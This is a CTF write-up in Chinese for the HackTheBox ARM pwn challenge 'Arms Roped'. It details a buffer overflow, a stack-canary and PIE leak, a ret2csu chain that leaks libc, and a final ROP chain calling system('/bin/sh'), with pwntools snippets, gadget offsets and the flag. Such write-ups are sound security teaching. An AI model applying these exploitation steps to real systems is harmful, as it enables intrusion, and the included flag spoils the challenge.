HackTheBox Pwn Challenge - Arms Roped (Medium)

發布日期:2026/4/18

摘要:


Arms Roped - Pwn (Medium)

題目資訊

  • 分類: Pwn (二進位漏洞利用)
  • 難度: Medium (515 人解出)
  • 描述: Get a shell!
  • 二進位檔: ELF 32-bit ARM (armhf), PIE, 動態連結
  • 執行環境: QEMU user-mode,自訂 patch 模擬 ASLR

保護機制

保護 狀態
PIE 開啟
NX 開啟
Canary 開啟
RELRO Partial

逆向分析

核心函式:string_storer()

void string_storer() {
    char buffer[32];  // fp-48 起始 (4 bytes 變數 + 28 bytes 緩衝區)
    // stack canary 在 fp-16

    while (1) {
        scanf("%m[^\n]%n", &tmp, &n);  // %m 用 malloc 配置記憶體
        getchar();                      // 吃掉換行
        memcpy(buffer, tmp, n);         // ← 溢位! n 可超過 32
        free(tmp);
        if (memcmp(buffer, "quit", 4) == 0) break;
        puts(buffer);                   // ← 資訊洩漏!
    }
    // canary 檢查 → pop {r4, fp, pc} 返回
}

堆疊佈局 (從 fp-48 起算)

偏移    內容                    作用
0-31    buffer (32 bytes)       使用者輸入
32-35   stack canary            防溢位保護值
36-39   區域變數                未使用
40-43   saved r4                ← pop {r4, fp, pc} 恢復
44-47   saved fp                ←
48-51   saved lr (return addr)  ← 控制 pc = 控制執行流
52+     ROP chain 資料          可放任意 gadget 位址

漏洞分析

  1. Buffer Overflow: memcpy(buffer, input, strlen(input)) 沒有大小檢查,buffer 只有 32 bytes 但輸入可達 ~4000 字元
  2. 資訊洩漏: puts(buffer) 印到 null byte 為止。溢位覆蓋 canary/saved registers 後,puts 會洩漏這些值
  3. Canary 繞過: canary 檢查只在迴圈結束時(輸入 "quit")才執行,多次溢位不會觸發

攻擊策略(三階段)

第一階段:洩漏 Canary + PIE 基址

迭代 1 — 洩漏 Canary(發送 33 bytes)

ARM 的 stack canary 最低位元組 (LSB) 固定為 0x00(防止字串洩漏)。發送 33 bytes 覆蓋掉 canary 的 0x00,讓 puts 繼續讀取:

[32 bytes 填充][覆蓋 canary 的 0x00] → puts 印出 canary 的後 3 bytes
r.sendline(b'A' * 33)
data = r.recvline()
canary = u32(b'\x00' + data[33:36])  # 還原完整 canary

迭代 2 — 洩漏 PIE 基址(發送 45 bytes)

覆蓋到 saved fp 的第一個 byte,讓 puts 洩漏 saved_fp[1:3] + saved_lr:

r.sendline(b'B' * 45)
data = r.recvline()
saved_lr = u32(data[48:52])       # saved lr = PIE_base + 0x948
pie_base = saved_lr - 0x948

第二階段:ROP 洩漏 libc 位址(ret2csu)

利用 ARM __libc_csu_init 中的兩個 gadget:

Gadget 位址 功能
Pop gadget PIE+0x9ec pop {r4, r5, r6, r7, r8, r9, sl, pc}
Call gadget PIE+0x9cc ldr r3,[r5],#4; mov r0,r7; blx r3 → 呼叫函式

迭代 3 — 寫入 ROP chain

填充(32) + canary(4) + 垃圾(4) + r4(0) + fp(0) +
pc = pop_gadget →
  r4=0, r5=GOT.puts, r6=1, r7=GOT.puts,
  r8=0, r9=0, r10=0,
  pc = call_gadget →
    blx [GOT.puts] → 呼叫 puts(GOT.puts位址) → 印出 libc puts 位址
  迴圈結束後第二次 pop →
    r4-r10=0, pc = main → 重新開始程式

迭代 4 — 觸發 ROP

發送 quit → 迴圈結束 → canary 檢查通過(已還原正確值)→ pop {r4, fp, pc} → ROP 執行 → puts(GOT.puts) 印出 libc 位址 → 跳回 main。

libc_puts = u32(data[:4])
libc_base = libc_puts - 0x49ba5

第三階段:取得 Shell

程式重新進入 string_storer()。使用 libc 中的 gadget:

pop {r0, r4, pc}  @ libc + 0x5bebc

ROP chain:

填充(32) + canary(4) + 垃圾(4) + r4(0) + fp(0) +
pc = pop_r0_r4_pc →
  r0 = "/bin/sh" 位址 (libc + 0xdce0c)
  r4 = 0
  pc = system (libc + 0x2f511)

發送 quitsystem("/bin/sh") → 取得 shell!

攻擊流程圖

連線
 │
 ├─ 迭代 1: "A"*33 ──────────────→ 洩漏 canary
 ├─ 迭代 2: "B"*45 ──────────────→ 洩漏 PIE base
 ├─ 迭代 3: ROP chain (116 bytes) → 寫入 ret2csu chain
 ├─ 迭代 4: "quit" ──────────────→ 觸發 ROP → puts(GOT) → 洩漏 libc
 │                                  ↓ 跳回 main
 │  ┌─ 新的 string_storer() ─────┐
 │  ├─ 迭代 5: ROP chain (64 bytes) → system("/bin/sh") chain
 │  ├─ 迭代 6: "quit" ──────────→ 觸發 ROP → system("/bin/sh")
 │  └─────────────────────────────┘
 │
 └─ 🐚 Shell!

ARM 特有技術細節

概念 說明
呼叫慣例 r0-r3 傳參數,r4-r11 callee-saved
pop {r4, fp, pc} 同時控制 r4、fp 和返回位址
ARM/Thumb 切換 system() 位址為奇數 (0x2f511) → pop 進 pc 時自動切換到 Thumb 模式
Stack Canary LSB 固定為 0x00,需覆蓋此 byte 才能透過 puts 洩漏
ret2csu ARM 版本: pop8 gadget 設定暫存器 → call gadget 透過 blx 呼叫函式

Flag

HTB{_r0pp1Ng_0n_4rM_1s_n0t_s0_34sy_L1K3_x86!!}

心得

  • ARM ROP 比 x86 複雜,因為參數透過暫存器傳遞,需要額外的 gadget 來設定 r0
  • ret2csu 是 ARM 上控制函式呼叫參數的經典技巧
  • 多次溢位 + canary 延遲檢查是繞過 stack canary 的關鍵
  • QEMU user-mode 下 system("/bin/sh") 可以正常運作(kernel 負責執行 host 的 /bin/sh)
目錄